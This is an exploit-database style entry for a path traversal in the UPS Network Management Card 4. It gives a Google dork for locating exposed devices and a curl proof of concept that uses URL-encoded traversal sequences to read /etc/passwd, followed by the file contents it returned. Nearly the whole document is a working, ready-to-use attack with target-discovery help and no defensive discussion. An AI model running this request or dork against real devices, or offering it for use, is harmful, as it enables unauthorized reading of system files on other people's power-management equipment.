UPS Network Management Card 4 Path Traversal

`# Exploit Title: UPS Network Management Card 4 - Path Traversal  
# Google Dork: inurl:nmc inurl:logon.htm  
# Date: 2023-12-19  
# Exploit Author: Víctor García  
# Vendor Homepage: https://www.apc.com/  
# Version: 4  
# Tested on: Kali Linux  
# CVE: N/A  
  
# PoC:  
curl -k  
https://10.10.10.10/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd  
  
root:x:0:0:root:/home/root:/bin/sh  
daemon:x:1:1:daemon:/usr/sbin:/bin/sh  
bin:x:2:2:bin:/bin:/bin/sh  
sys:x:3:3:sys:/dev:/bin/sh  
sync:x:4:65534:sync:/bin:/bin/sync  
games:x:5:60:games:/usr/games:/bin/sh  
man:x:6:12:man:/var/cache/man:/bin/sh  
lp:x:7:7:lp:/var/spool/lpd:/bin/sh  
mail:x:8:8:mail:/var/mail:/bin/sh  
news:x:9:9:news:/var/spool/news:/bin/sh  
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh  
proxy:x:13:13:proxy:/bin:/bin/sh  
www-data:x:33:33:www-data:/var/www:/bin/sh  
backup:x:34:34:backup:/var/backups:/bin/sh  
list:x:38:38:Mailing List Manager:/var/list:/bin/sh  
irc:x:39:39:ircd:/var/run/ircd:/bin/sh  
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh  
dhcp:x:997:997::/var/run/dhcp:/bin/false  
messagebus:x:998:998::/var/lib/dbus:/bin/false  
mosquitto:x:999:999::/home/mosquitto:/bin/false  
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh  
  
`